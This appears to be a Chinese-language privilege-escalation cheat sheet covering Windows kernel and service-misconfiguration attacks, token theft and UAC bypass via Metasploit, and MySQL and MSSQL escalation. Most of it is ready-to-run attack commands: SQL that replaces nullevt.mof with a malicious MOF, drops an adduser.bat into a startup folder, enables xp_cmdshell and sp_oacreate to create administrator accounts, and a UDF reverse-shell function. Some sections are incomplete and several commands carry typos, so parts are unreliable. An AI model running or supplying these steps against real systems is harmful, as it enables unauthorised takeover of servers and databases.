windows
1、系统内核溢出漏洞提权
利用Windows系统内核溢出漏洞提权是一种很通用的提权方法,攻击者通常可以使用该方法绕过系统中的所有安全限制。攻击者利用该漏洞的关键是目标系统有没有及时安装补丁,如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话,攻击者就会向目标系统上传本地溢出程序,溢出Administrator权限。
1.手动获取存在漏洞
2.使用Windows-Exploit-Suggester
3.使用sherlock 脚本
输入Import-Module .\Sherlock.ps1导入脚本
输入Find-AllVulns 扫描
4.还可以用msf的enum_patches模块
use multi/handler
use post/windows/gather/enum_patches
show options
set SESSION
5.还有msf的local_exploit_suggester模块
use post/multi/recon/local_exploit_suggester
set session 1
run
2、系统服务权限配置错误
2.服务配置错误
3.故意削弱的安全措施
4.用户权限过高
windows系统服务文件在操作系统启动时加载和运行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。windows服务是以system权限运行的,因此,其文件夹,文件和注册表键值都是受强访问控制机制保护的。但是在一些情况下操作系统中任然存在一些没有得到有效保护的服务。
系统服务权限配置错误有如下两种可能:
服务未启动:攻击者可以使用任意服务替换原来的服务,然后重启服务。
服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用dll劫持技术并尝试重启服务来提权。
1.使用PowerUP脚本
2.msf(service_permissions)模块
使用两种方法可获得system权限,其实和之前的相同,一种是尝试创建并运行一个新服务,第二种就是判断哪些文件权限会有问题,对其进行劫持。两种的结果都是创建出一个随机文件名安装路径的可执行程序。
exploit/windows/local/service_permissions
show options
set session 2
3.注册表键AlwaysInstallElevated
注册表键AlwaysInstallElevated是一个策略设置项。如果开启了Windows Installer特权安装功能。windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITYSYstem权限来安装恶意的MSI(Microsoft Windows Installer)文件
4.可信任服务路径漏洞
windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。
例如,有如下的文件路径:
C:\Program Files (x86)\Razer Chroma SDK\bin\RzSDKService.exe
对于上面文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序
域的好处之一就是可以统一配置多台服务器,网络管理员在内网中给多台机器配置同一个环境时,通常不会逐个配置,而是使用脚本批量部署。
这些文件中包含所有的安装配置信息,其中一些还可能包含管理员账号和密码。
搜索文件名为sysprep或unattend,后缀为.inf、.xml、inf的文件,如dir /b /s C:\Unattend.xml
msf对应post/windows/gather/enum_unattend模块
6.计划任务
Windows 计划任务程序 是定义为触发器执行操作。
在大多数情况下,计划任务是以 NT Authority\System 高权限执行的。
因此,如果计划任务要执行的是一个二进制,而且二进制文件可以用任意一个二进制文件覆盖,则可能会导致特权提升。
7.绕过UAC提权
也就是说一旦用户允许启动的应用程序通过UAC验证,那么这个程序也就有了管理员权限。如果我们通过某种方式劫持了通过用户UAC验证的程序,那么相应的我们的程序也就实现了提权的过程。
使用这个模块
use exploit/windows/local/bypassuac
set session 1
set lhost 0.0.0.0
set lport 24444 #本地监听的端口,随便设置一个未被占用的端口即可
exploit
3、令牌窃取
1.直接获取令牌
访问令牌(Access Token):表示访问控制操作主体的系统对象
会话令牌(Session Token):是交互会话中唯一的身份标识符。
密保令牌(Security Token):又叫做认证令牌或硬件令牌,
进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。
msf利用方法
use incognito #进入incognito模块
list_tokens -u #列出令牌
出现两种令牌
Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话。
用此命令假冒用户获得权限
impersonate_token "NT AUTHORITY\\SYstem"
2.烂土豆提权
使用msf的ms16-075
use exploit/windows/local/ms16_075_reflection
show options
set session 1
exploit
use incognito //枚举有哪些用户的进程,一般有用户和system用户
list_tokens -u
execute -cH -f ./rottenpotato.exe //上传rottenpotato.exe并执行提权
impersonate_token “NT AUTHORITY\\SYstem”
linux
1.内核漏洞提权
数据库提权
1、服务器开启数据库服务
2、获取到最高权限用户密码
(除Access数据库外,其他数据库基本都存在数据库提权的可能)
常见密码获取方式:
例如:sql data inc config conn database common include等
2、读取数据库存储或备份文件(了解其数据库存储格式及对应内容)
例如:@@basedir/data/数据库名/表名.myd
3、 利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联)
例如:远程本地暴力猜解,服务器本地暴力猜解(未开启外联,需要上传数据库暴力破解脚本到网站后执行)
1、MysqL
udf提权
利用自定义执行函数导出dll文件进行命令执行
select version() select @@basedir
手工创建plugin目录或利用NTFS流创建
第一步:导出dll文件
1.MysqL<5.1 导出目录c:/windows或system32
2.MysqL=>5.1 导出安装目录/lib/plugin/ 例如:C:/PHPStudy/PHPTutorial/MysqL/lib/plugin//moonudf.dll
3.一般Lib、Plugin文件夹需要手工建立(也可用NTFS ADS流模式突破进而创建文件夹)
4.使用直接导入的方式将dll文件到指定位置
5.创建sys_eval函数,用于执行命令和回显 语句:create function sys_eval returns string soname ' udf. dll’
mof提权
同udf一样需要手工修改my.ini配置文件,添加 secure-file-priv=mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式",其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了MysqL的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
1.通过webshell将adduser.mof文件上传到网站根目录
2.使用sql语句将系统当中默认的nullevt.mof给替换掉,让系统执行我们这个恶意的mof文件,来添加admin账户。
select load_file(‘C:/PHPStudy/PHPTutorial/WWW/adduser.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
启动项重启提权
总结
导出自定义bat或vbs到启动目录配合重启执行
将创建好的adduser.bat进行服务器启动项写入,配合重启执行!
写一个adduser.bat文件
2.通过sql命令写入到启动项中
select load_file(‘C:/PHPStudy/PHPTutorial/WWW/adduser.bat’) into dumpfile ‘C:/Documents and Settings/Administrator/「开始」菜单/程序/启动/adduser.bat’;
3.之后让目标服务器重启后,查看发现用户被创建,bat文件执行
反弹SHELL提权
总结
用于UDF没有成功取得cmdshell和MOF提权都失败的情况,采用MysqL反弹函数获取权限,不再调用命令执行类函数!
**原因:**服务器限制cmdshell命令执行拓展关闭,开启了防护 ,那么UDF提权就失败,cmdshell就没了,只能进行backshell反弹。
在反弹shell的时候,shell执行成功,却没有监听到返回信息,是因为原因:阿里云服务器端口使用需要设置端口允许,默认是全部不允许的
1.在lib/plugin目录创建dll文件
2.创建反弹函数在dll文件 语句:create function backshell returns string soname ' imoonudf. dll’
3.select back(ip,端口)
4.监听端口 反弹shell成功
2、mssql
mssql提权主要分为弱口令与溢出两类提权。目前主要通过弱口令连接直接提权,溢出类Mssql数据库几乎很少见(sqlserver2000之后就几乎没有了)。
通过漏洞拉到webshell之后,找到网站配置文件,里面有sa权限的账号密码,配置文件为asp或者aspx网站一般使用微软自带数据库,这个提权没有sa权限是不能做的
mssql一般是允许远程连接的
系统库是master
xp_cmdshell提权
创建管理员aaa
exec xp_cmdshell 'net user aaa aaa /add && net localgroup administrators aaa /add'
如果执行sql语句不成功,首先检查判断xp_cmdshell是否存在:
select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' ;
开启xp_cmdshell:
EXEC sp_configure 'show advanced options',1//允许修改高级参数
RECONfigURE
EXEC sp_configure 'xp_cmdshell',1 //打开xp_cmdshell扩展
RECONfigURE
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure
创建管理员账号(提权)
exec master..xp_cmdshell 'net user test pinohd123. /add' 添加用户test,密码test
exec master..xp_cmdshell 'net localgroup administrators test add' 添加test用户到管理员组
sp_oacreate提权
开启sp_oacreate
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;recofigure;
关闭sp_oacreate
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
提权
declare @shell int
exec sp_oacreate 'wscript.shell', @shell out
exec sp_method @shell, 'run' , null, 'c:\windows\system32\cmd.exe \c "net user test test /add" '
declare @shell int
exec sp_oacreate 'shell.application',@shell out
exec sp_oamethod @shell, 'shellexecute', null, 'cmd.exe', 'cmd /c net user test test /add', 'c:\windows\system32', '','1';
沙盒提权
沙盒模式是数据库的一种安全功能.在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值.如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的.
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
利用jet.oledb执行系统命令添加系统账号:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')